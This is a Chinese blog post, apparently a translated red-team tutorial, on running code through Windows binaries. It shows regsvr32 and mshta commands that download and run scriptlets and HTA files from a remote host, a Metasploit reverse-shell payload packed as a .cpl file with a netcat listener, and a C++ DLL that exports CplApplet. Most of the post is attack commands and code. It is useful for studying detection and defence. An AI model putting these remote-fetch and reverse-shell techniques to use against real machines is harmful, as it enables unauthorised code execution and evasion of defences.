代码执行

  1. regsvr32
  2. MSHTA
  3. 控制面板项目
  4. 通过导出的 Cplapplet 函数将代码作为控制面板项执行

regsvr32

1
2
3
4
5
6
7
8
9
10
11
12
<?XML version="1.0"?>
<scriptlet>
<registration
progid="TESTING"
classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
<script language="JScript">
<![CDATA[
var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>

我们需要将 back.sct 托管在 Web 服务器上,以便我们可以像这样调用它:

1
regsvr32.exe /s /i:http://10.0.0.5/back.sct scrobj.dll

请注意 regsvr32 进程几乎立即退出。这意味着仅通过查看受害计算机上的进程列表,邪恶进程可能不会立即显现出来……除非您意识到它是如何被调用的。Sysmon 命令行日志记录可以帮助您检测此活动:

MSHTA

编写一个 scriptlet 文件,在调用时将启动 calc.exe:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?XML version="1.0"?>
<scriptlet>
<registration description="Desc" progid="Progid" version="0" classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"></registration>

<public>
<method name="Exec"></method>
</public>

<script language="JScript">
<![CDATA[
function Exec() {
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
}
]]>
</script>
</scriptlet>

调用远程托管的 scriptlet 文件:

1
2
# from powershell
/cmd /c mshta.exe javascript:a=(GetObject("script:http://10.0.0.5/m.sct")).Exec();close();
1
mshta.exe http://10.0.0.5/m.hta

控制面板项目

1
2
3
4
5
6
7
8
9
Generating a simple x64 reverse shell in a .cpl format:
msfconsole
use windows/local/cve_2017_8464_lnk_lpe
set payload windows/x64/shell_reverse_tcp
set lhost 10.0.0.5
exploit

root@~# nc -lvp 4444
listening on [any] 4444 ...

我们可以看到.cpl只是一个导出了DllMain函数的DLL:

快速查看 dll 的反汇编表明将生成 rundll32.exe,并以挂起模式创建一个新线程,该线程很可能会注入我们的 shellcode,并最终恢复执行该 shellcode:

通过导出的 Cplapplet 函数将代码作为控制面板项执行

这是一个简短的说明,展示了如何执行 .cpl 文件中的代码,该文件是代表控制面板项的常规 DLL 文件。

.cpl 文件需要导出一个函数CplApplet才能被 Windows 识别为控制面板项。

一旦 DLL 被编译并重命名为 .CPL,只需双击它即可像常规 Windows .exe 文件一样执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
#include <Windows.h>

//Cplapplet
extern "C" __declspec(dllexport) LONG Cplapplet(
HWND hwndCpl,
UINT msg,
LPARAM lParam1,
LPARAM lParam2
)
{
MessageBoxA(NULL, "Hey there, I am now your control panel item you know.", "Control Panel", 0);
return 1;
}

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
Cplapplet(NULL, NULL, NULL, NULL);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

DLL 编译完成后,我们可以看到导出的函数Cplapplet


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 jaytp@qq.com

💰

×

Help us with donation